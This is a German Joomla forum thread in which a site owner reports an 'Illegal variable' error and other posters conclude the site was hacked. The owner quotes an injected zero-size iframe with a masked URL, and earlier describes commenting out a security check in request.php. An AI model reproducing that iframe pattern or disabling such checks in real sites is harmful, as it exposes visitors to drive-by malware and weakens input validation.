Thema: Illegal variable _files or _env or _get or _post or _cookie or _server or _session or

Hallo Joomla Community,

beim aufrufen meiner Seite bekomme ich folgenden Fehler:
Illegal variable _files or _env or _get or _post or _cookie or _server or _session or globals passed to script.



Mithilfe von Google konnte ich zumindest erreichen, dass der Fehler nicht mehr angezeigt wird und die Seite wieder funktioniert. Dafür müsst ihr folgende Zeile in der request.php auskommentieren:
//$failed |= is_numeric( $key );

Die Datei liegt in /html/libraries/joomla/environment

Wie auch immer. Meiner Einschätzung nach wird damit nicht das Problem gelöst, sondern nur eine Prüfung ignoriert. Offensichtlich wird irgendwo in der Joomla installation ein Daten Typ verletzt. Meine Frage ist nun wie ich den eigenlichen Fehler finden kann?

Danke
Nadine

Bei Joomla 1.5.11 gehe ich einfach mal von den Auswirkungen eines Hacks aus.
Meine Empfehlung: Joomla FAQ 2.6 Punkt für Punkt abarbeiten.

Nimm bitte den URL raus, deine Seite scheint wirklich gehackt worden zu sein. Du kannst dir den reinen Quellcode z.B. hier anzeigen lassen, ohne die Seite aufzurufen. Ganz unten wird ein iFrame geladen, der da nicht hingehört .

Danke für die Hilfe.
Damit kenne ich mich nicht aus. Welchen Teil meinst du genau?
Was kann ich nun tun, um die Seite zu retten?

Ok du meinst den Frame:

<!--qpi--><!--/qpi-->
<!--qpi--><iframe src=http://*****.**/****.php?*=**** frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=0 height=0 border=0></iframe><!--/qpi-->

der gehört in der Tat nicht dahin. Habt ihr Tipps wie ich das Problem lösen kann?

Befolge keraMs Tipp:

Zitat von keraM

Meine Empfehlung: Joomla FAQ 2.6 Punkt für Punkt abarbeiten.

Wo soll denn das iFrame denn sonst herkommen? Und wenn dein PC verseucht ist, dann ist das auch kein Zufall.

Wenn dir alles Wissen fehlt, dann hast du nur genau 2 Möglichkeiten.
Alles platt machen und neu anfangen oder jemand einkaufen der sich auskennt.

Wenn mehrere Accounts betroffen sind, würde ich auch dringend den heimischen Rechner neu aufsetzen. Die Vermutung dass dort spioniert wurde ist wahrscheinlich zutreffend